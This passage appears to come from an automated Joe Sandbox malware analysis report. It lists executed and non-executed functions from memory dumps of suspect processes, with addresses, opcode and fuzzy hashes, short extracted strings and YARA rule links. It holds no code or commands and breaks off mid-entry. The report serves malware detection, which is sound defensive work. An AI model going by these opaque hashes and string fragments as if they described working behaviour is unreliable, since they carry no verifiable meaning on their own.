Function 00007FFD9B8A0A51 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ec16344ef140f45cfb10dd114bb932ea7207aafd6e3e62e28e84292188fcd1a
Instruction ID: 4e2a45fe182b57fe92e9ceba4cb1f92db8e33f37c9014e40c4f072ae1a36e9f3
Opcode Fuzzy Hash: 5ec16344ef140f45cfb10dd114bb932ea7207aafd6e3e62e28e84292188fcd1a
Instruction Fuzzy Hash: ABF0AF70A1A64E8FDB959FA488282FE7BA0FF19200F42047AE81CC21A1EB34A6508700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B892ED9 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85799e91b2a39bcb676e9b3aacc23b1f97ca528e29a0231722172f8900a89418
Instruction ID: 20d375fff7afabd44b05a8ab130a7362144ffa0300159e314bac0e179ea82bbe
Opcode Fuzzy Hash: 85799e91b2a39bcb676e9b3aacc23b1f97ca528e29a0231722172f8900a89418
Instruction Fuzzy Hash: B5018430A1A64E8FD766EBB488695A97BE0EF4A300F0605B7D408C70B6DA38A644C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B891C9D Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19bfee7004da813886ba05850aa605e27744b2e24e6cd0ce1d33444fc0ca5b0b
Instruction ID: 6d3e2c84e36b601e5f899ac5a682f56023a689a28547f1d398801122c1083cff
Opcode Fuzzy Hash: 19bfee7004da813886ba05850aa605e27744b2e24e6cd0ce1d33444fc0ca5b0b
Instruction Fuzzy Hash: B301D130A0E68E9FEFA9AF25C8656B93FA0FF59304F41017AE818C25A2DB359650C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8AB1B0 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27e3a4a25c469c65a3f70cb4727c3536bbb4bfeb37c952b4397407850b8b9d81
Instruction ID: 6ed25ede3945deec5b1bab0293c56476a363fcf6d6a8a80ae1c2918d492a3e22
Opcode Fuzzy Hash: 27e3a4a25c469c65a3f70cb4727c3536bbb4bfeb37c952b4397407850b8b9d81
Instruction Fuzzy Hash: C2011D30E1950E8EEB91FBB8C85C6BE7BE4FF1C304F014976D41CC30A5EA34A2508651

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B890610 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81b1373a28bfc4c0fc70b8319e04ad6dcc71521bd3ae5c6d0c10a6e46747a4b6
Instruction ID: 57a81110828695603ad5153031a0482c49ede3ad779d866161db7c2ca4efeb9c
Opcode Fuzzy Hash: 81b1373a28bfc4c0fc70b8319e04ad6dcc71521bd3ae5c6d0c10a6e46747a4b6
Instruction Fuzzy Hash: AA016D30A1990E8AEF6DEFA4C4696B977E0FF18305F11087ED41ED21E5DE35A650C611

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B890608 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5b2268c3d751ef3b7774390ce457f6b894f0345abfe89104ab448b4f30ba1f6
Instruction ID: 3d438c38b9145159ea2d958c201f4cb86019c30ebdad7d9ea8e38eab42ff8e25
Opcode Fuzzy Hash: c5b2268c3d751ef3b7774390ce457f6b894f0345abfe89104ab448b4f30ba1f6
Instruction Fuzzy Hash: 42016230A1550EDADF5DEFA4C4685B976A0FF18305F51087ED41ED61E5DE35A150CA00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89C588 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44a15752c4815a793a813068feeb4e6c6da2e04dacda3f5d66072d61d3a0884e
Instruction ID: a5825776bb3c0d4d05eb02fac4512cfb2267bfc6da9bf58c625263d5776598fe
Opcode Fuzzy Hash: 44a15752c4815a793a813068feeb4e6c6da2e04dacda3f5d66072d61d3a0884e
Instruction Fuzzy Hash: E9018170A0A64E9FEF95AF6898695FD3EE0FF09304F01057AE81DC60A5EF7596508B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89A7E8 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04a8b8700e3f272438d4a09f6db1c5825895bb9c8df06017555c89790693aa91
Instruction ID: 61ebedf0cd79615e1eb50c55069caf543663a282a777e2a51d4f1a4a4f26ceef
Opcode Fuzzy Hash: 04a8b8700e3f272438d4a09f6db1c5825895bb9c8df06017555c89790693aa91
Instruction Fuzzy Hash: B5F08C30A1954E8EEB68FBB4C4686FA72A0FF09304F11087EE41EC21E5DF35AA50C650

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B892344 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b70f3c0d89c29eb69ebec53422eeb90939fea420d7af0e94b4f9335fe966a9b3
Instruction ID: d97f0e976a8e1f489c4981ff2db36e4a0069ca552c97f72844c84c6e43050478
Opcode Fuzzy Hash: b70f3c0d89c29eb69ebec53422eeb90939fea420d7af0e94b4f9335fe966a9b3
Instruction Fuzzy Hash: EC110C70E0A26A8FEB689F50C8657A97BB1BF04310F0181FAD04DD62A1CE781A889F51

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8905D0 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4487fc9bc0da2cfa583bc5e174e19649d127831f66511c92d99fd5c458ec0e7
Instruction ID: be9faa20934b5be29efd131dacb43c2235dd8dfbf041e3a70a59faf71a5993d3
Opcode Fuzzy Hash: d4487fc9bc0da2cfa583bc5e174e19649d127831f66511c92d99fd5c458ec0e7
Instruction Fuzzy Hash: A2F0C230A0E64E9FEF69EF65D4256FA3BA0FF09308F51047AE82DC21A1CA35A650C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A1F75 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fc4db5e04fa59e3f513bc6d0d24eab0bdb771f59134593a7d0a3eb40594d1b0
Instruction ID: 39440da8265b2cb75c96c2550de3710eee5c92dc6efdb3505de9acb1a0d47ef0
Opcode Fuzzy Hash: 0fc4db5e04fa59e3f513bc6d0d24eab0bdb771f59134593a7d0a3eb40594d1b0
Instruction Fuzzy Hash: 68F0E930A4E28E4FDB649F60C8645FD3B60FF06304F010579E81DC2092DB38AA14C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B892759 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa16a5f22048a0f215610ebdf1a79a0c4611b36abf2a0dbedcfa6b96ff9d6332
Instruction ID: 8f841c57283cb605b748dcd5821d822867cadc56297c9b9a6fed16592c7b1f92
Opcode Fuzzy Hash: fa16a5f22048a0f215610ebdf1a79a0c4611b36abf2a0dbedcfa6b96ff9d6332
Instruction Fuzzy Hash: 71F0623450E38E8FDB6E9F6488646A93F60FF46204F4505BAE419C51E2DB389554C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8927CD Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd1009c36db2d2c929717e3925a4f4ae6177fb711c73a22d9355e553c62a2b97
Instruction ID: 3e277704e5e49f2a2d83e1d6b6b80970331058b3f68fbe967e331424e82ca8b8
Opcode Fuzzy Hash: fd1009c36db2d2c929717e3925a4f4ae6177fb711c73a22d9355e553c62a2b97
Instruction Fuzzy Hash: 74F0F030A0E68E8FEB6D9FA088291F93FA0FF09300F0204BED409C50E6DB389554C701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89AE61 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 703adefab3589269c0a0e62717b1dcd0aa9c3c858e1986c70e3546f3ddf93153
Instruction ID: e2d7b8b7c2574cc0bb7718d4a792b9d6bdeee5b69e4b0f8288b268721a2b2a86
Opcode Fuzzy Hash: 703adefab3589269c0a0e62717b1dcd0aa9c3c858e1986c70e3546f3ddf93153
Instruction Fuzzy Hash: 9AF0D070E1991D4EDFE4DB58C895BAD77B1EB58340F10C6A5800DE3165DE34AEC58F40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89DC92 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dd6fe5f1922240a836e9bc5c610b4bac6a731015ac31e0a05f3ded7134c2fc9
Instruction ID: 1c7b0a85e2cf5d7fcc0116044f4a0d83037e46f113e7029f702264a60517b1a2
Opcode Fuzzy Hash: 7dd6fe5f1922240a836e9bc5c610b4bac6a731015ac31e0a05f3ded7134c2fc9
Instruction Fuzzy Hash: B1F0D431A1510D8FDB18DF84D4A09ECBBB2FF88311F65012AD40AA37A0DB786941CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89FD0E Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 142cd77670649d642edd46ad84eb73de0dcb1230965c1e0a3b180cc11c4649a4
Instruction ID: 7923eccc506d6e20e108d761a9e6634b9af356e690f2bd284d3b766a29dcfce1
Opcode Fuzzy Hash: 142cd77670649d642edd46ad84eb73de0dcb1230965c1e0a3b180cc11c4649a4
Instruction Fuzzy Hash: AEF09874E0565D8FDBA4DF54C8A17ED7AB1AF98300F1081AAD00EB2291CE342E818F40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8911B6 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78373d8f96d9c2ba925e3ab8532e17776f1f23c91976e2fc1444358e497175da
Instruction ID: 0573f59e67d755a12b3bc8a43b1d12653ef49cf4f6ee4aca3bb205c923268f02
Opcode Fuzzy Hash: 78373d8f96d9c2ba925e3ab8532e17776f1f23c91976e2fc1444358e497175da
Instruction Fuzzy Hash: 73C01231D2164E8ADB58AB90A8214FDB260FB48204F401462E42CA3092EF3026108680

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FFD9B8A0BE2 Relevance: 5.1, Strings: 4, Instructions: 127COMMON

Download Yara Rule

Strings

&, xrefs: 00007FFD9B8A0FA9
[, xrefs: 00007FFD9B8A0BF6
,, xrefs: 00007FFD9B8A0F3B
", xrefs: 00007FFD9B8A1681

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID: "$&$,$[
API String ID: 0-77890680
Opcode ID: a8e9823fd81a0876cce41cc09ba5ee342498fbd8057167bd39d9eff7ec8ce3ac
Instruction ID: ce8210d2aa214f5073e7b12df9cc256a497eadcb32bed1fd8d0a017101d3ca0f
Opcode Fuzzy Hash: a8e9823fd81a0876cce41cc09ba5ee342498fbd8057167bd39d9eff7ec8ce3ac
Instruction Fuzzy Hash: 7351B770E1622D8FEB68DF94C9A57EDB6B1BF48301F5145BAD00DA62A1CB385A84CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89387E Relevance: 5.1, Strings: 4, Instructions: 117COMMON

Download Yara Rule

Strings

.R^I, xrefs: 00007FFD9B893954
/R^I, xrefs: 00007FFD9B893924
0R^I, xrefs: 00007FFD9B893944
8R^, xrefs: 00007FFD9B8938D4

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID: .R^I$/R^I$0R^I$8R^
API String ID: 0-1790200200
Opcode ID: 068e29c874bcbe2a712fcd941ad2eae46dd2d2652da78c8f54596881a46fb8ba
Instruction ID: d160f36706996ab87f089e3813e0da63c566d039ca942eb977107cf3eed4bf67
Opcode Fuzzy Hash: 068e29c874bcbe2a712fcd941ad2eae46dd2d2652da78c8f54596881a46fb8ba
Instruction Fuzzy Hash: 5131D35260F7D70FEB2387B90C262657FA4AF5720475A40FBD0D4CB0E3D209AA0B8392

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RRVGfHJzvQMYfWe.exePID: 6376, Parent PID: 6544COMMON

Executed Functions

Function 00007FFD9B893565 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b890000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 423f59dd086bf4c9823253291d5e43ef718ef2915855542b26fd6be560993378
Instruction ID: b5ed5d1b3086744d1bec89dfdf5e0a4e2cebcf723c72efd206e11bbbeac75a67
Opcode Fuzzy Hash: 423f59dd086bf4c9823253291d5e43ef718ef2915855542b26fd6be560993378
Instruction Fuzzy Hash: A2A1B071A0994E8FEB98DBA8D8247ADBBE1FF69340F5002BAD00DD32D5DF7568018741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A88FA Relevance: 8.8, Strings: 7, Instructions: 96COMMON

Download Yara Rule

Strings

L_^;, xrefs: 00007FFD9B8A892A
L_^9, xrefs: 00007FFD9B8A8922
L_^M, xrefs: 00007FFD9B8A8972
L_^K, xrefs: 00007FFD9B8A896A
L_^/, xrefs: 00007FFD9B8A88FA
L_^O, xrefs: 00007FFD9B8A897A
L_^I, xrefs: 00007FFD9B8A8962

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a1000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID: L_^/$L_^9$L_^;$L_^I$L_^K$L_^M$L_^O
API String ID: 0-3377649309
Opcode ID: 1c303b5ba3cfb725875e14dcfb24ccdb1076b0c85a7345ef2f1fb51b11782182
Instruction ID: e121e4a3f98bbb81517e30ce8e6ae6c9da3c0499b619d3a20770617cb0742715
Opcode Fuzzy Hash: 1c303b5ba3cfb725875e14dcfb24ccdb1076b0c85a7345ef2f1fb51b11782182
Instruction Fuzzy Hash: FD212871B0920E8BD709AF6898D51FD73D0FF18354F4410BBD61DC7293EE2059468691

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A88F8 Relevance: 7.6, Strings: 6, Instructions: 84COMMON

Download Yara Rule

Strings

L_^;, xrefs: 00007FFD9B8A892A
L_^9, xrefs: 00007FFD9B8A8922
L_^M, xrefs: 00007FFD9B8A8972
L_^K, xrefs: 00007FFD9B8A896A
L_^O, xrefs: 00007FFD9B8A897A
L_^I, xrefs: 00007FFD9B8A8962

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a1000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID: L_^9$L_^;$L_^I$L_^K$L_^M$L_^O
API String ID: 0-381706768
Opcode ID: 58784462ca4111226b83319297c61789521f1fafbbd56e4a6e6afd67373bbc21
Instruction ID: e8050616ec0119c0e2e60562ee4496210990d4ae17e2c825e59c768a80d005bf
Opcode Fuzzy Hash: 58784462ca4111226b83319297c61789521f1fafbbd56e4a6e6afd67373bbc21
Instruction Fuzzy Hash: 5B2168B2B0921E8BE70E6F68AC951FD73C0EF18368F441177D66DC7283EE245A478591

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A8918 Relevance: 7.6, Strings: 6, Instructions: 71COMMON

Download Yara Rule

Strings

L_^;, xrefs: 00007FFD9B8A892A
L_^9, xrefs: 00007FFD9B8A8922
L_^M, xrefs: 00007FFD9B8A8972
L_^K, xrefs: 00007FFD9B8A896A
L_^O, xrefs: 00007FFD9B8A897A
L_^I, xrefs: 00007FFD9B8A8962

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a1000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID: L_^9$L_^;$L_^I$L_^K$L_^M$L_^O
API String ID: 0-381706768
Opcode ID: 2e2dc19ed32698ab71178aef84c2a668bb2d8422826b7b2be8c90629a91b4c86
Instruction ID: ff8462932f97b26e749c515925125cdd7a4461efaec82958933a4f15b13db65c
Opcode Fuzzy Hash: 2e2dc19ed32698ab71178aef84c2a668bb2d8422826b7b2be8c90629a91b4c86
Instruction Fuzzy Hash: 4E117B72B0A20E4BE7096F685C951FD33C0EF14214F441176D62DC7183EE205A478191

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B890F56 Relevance: 2.7, Strings: 2, Instructions: 226COMMON

Download Yara Rule

Strings

H, xrefs: 00007FFD9B890F21
H, xrefs: 00007FFD9B890D23

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b890000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID: H$H
API String ID: 0-136785262
Opcode ID: 939755deb7d8a05774107ce519d9c2ecc76679050bd1c4887809843fc054d620
Instruction ID: ed91d3d9f33be10f07b699b55d6a8bdea64a27cf35c0e30bd38357487aeb101d
Opcode Fuzzy Hash: 939755deb7d8a05774107ce519d9c2ecc76679050bd1c4887809843fc054d620
Instruction Fuzzy Hash: E381E371F19A0E4FEBA8EB58C865BEDB7B1EF58710F0002B9D01DD71A5DE346A458B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89F3C6 Relevance: 2.6, Strings: 2, Instructions: 66COMMON

Download Yara Rule

Strings

}, xrefs: 00007FFD9B89F3FD
k, xrefs: 00007FFD9B89F273

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B89F000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B89F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b89f000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID: k$}
API String ID: 0-1688146420
Opcode ID: 6ab71de7421d6fa3d0ed5594fd840f9234dd47434a642950bcade358bcc6d3ec
Instruction ID: d851772f673da29af012704becfccfe2e59368a69bb664d2263305f4fb385752
Opcode Fuzzy Hash: 6ab71de7421d6fa3d0ed5594fd840f9234dd47434a642950bcade358bcc6d3ec
Instruction Fuzzy Hash: 1F219330A09A2E8EDF64EF54C8597F9BBB1EB58301F1101EAD00DE62A1DB356AD5DF40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A11E1 Relevance: 2.6, Strings: 2, Instructions: 56COMMON

Download Yara Rule

Strings

/, xrefs: 00007FFD9B8A1578
", xrefs: 00007FFD9B8A1221

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a1000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID: "$/
API String ID: 0-2662438755
Opcode ID: 165d8888809a2d4fa32010e7985961180d6d2db6ca226caf12f309bd3f391e35
Instruction ID: bac856a8a911637cb3066b0855a93ff8d5a08a3fef7cfc1247840a28c9f305e1
Opcode Fuzzy Hash: 165d8888809a2d4fa32010e7985961180d6d2db6ca226caf12f309bd3f391e35
Instruction Fuzzy Hash: 2621D870E0961DCEDB64EF94C8A47ECB7B1FB59305F1002A9D01DA72A5CB386A84CF40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89D5B9 Relevance: 1.6, Strings: 1, Instructions: 391COMMON

Download Yara Rule

Strings

NM_H, xrefs: 00007FFD9B89D66E

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B89A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B89A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b89a000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID: NM_H
API String ID: 0-1743349432
Opcode ID: 0e00e487a72b3dbdc9c690dc39cd8b8d2156e0d835209b09169de21a4f7ef268
Instruction ID: 3dafb571cf2d8b6a2ad886c7ecd8474074bec71016e6dbf8e36d30f35caea77e
Opcode Fuzzy Hash: 0e00e487a72b3dbdc9c690dc39cd8b8d2156e0d835209b09169de21a4f7ef268
Instruction Fuzzy Hash: 92E14D71E1965D8FEB68DB98C8A47B8BBB1FF58300F0541BAD01DD32A6DA346941CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A5610 Relevance: .6, Instructions: 553COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a1000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45710cdaf97533e61a74d7acb47878acd01c974f681475aa1637dd143cd08394
Instruction ID: 8d77d13bdb78aad8876915314a9febf09a8bc4fce34b59b6fe7bc1d9e1904b46
Opcode Fuzzy Hash: 45710cdaf97533e61a74d7acb47878acd01c974f681475aa1637dd143cd08394
Instruction Fuzzy Hash: 78F11922B1EE4E4FDBA8DB6CA8A45F973D1EF9835070501BBD40DC71A7DD24E9868390

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8AA91F Relevance: .4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a1000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e530aa3733660e722685e14b171b13356e2ea45a83e6a9e2bab141a306cf4fa
Instruction ID: 1080f7a4b2862fbb80fc51abf70bf561c9d8d660919e9ca4848728d8334ea2bf
Opcode Fuzzy Hash: 3e530aa3733660e722685e14b171b13356e2ea45a83e6a9e2bab141a306cf4fa
Instruction Fuzzy Hash: B8E14071E0991D8FEBA5EB68C865AE8B7B1FF58300F1101F9D01DD71A6DE346A81CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8AD1BE Relevance: .3, Instructions: 318COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a1000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b83ab19a2fc62e0e690d39b726d0293a7716ad9e1d7f822ea0a8c3e79ff4e56
Instruction ID: 3fbac6d8975244213aa2e93ba161f585f13584b7214b3f3536f2e6ec7efa08ba
Opcode Fuzzy Hash: 5b83ab19a2fc62e0e690d39b726d0293a7716ad9e1d7f822ea0a8c3e79ff4e56
Instruction Fuzzy Hash: 35D18770E1591D8FEBA5EB58C8697E9B7B1FF58300F5041E9940DE32A2DE346E818F50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A356F Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.1753400156.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd9b8a1000_RRVGfHJzvQMYfWe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70a1d3f5c80c517aaa195229f4aa79a4e967883b41b0a52eddc10116607f0d27
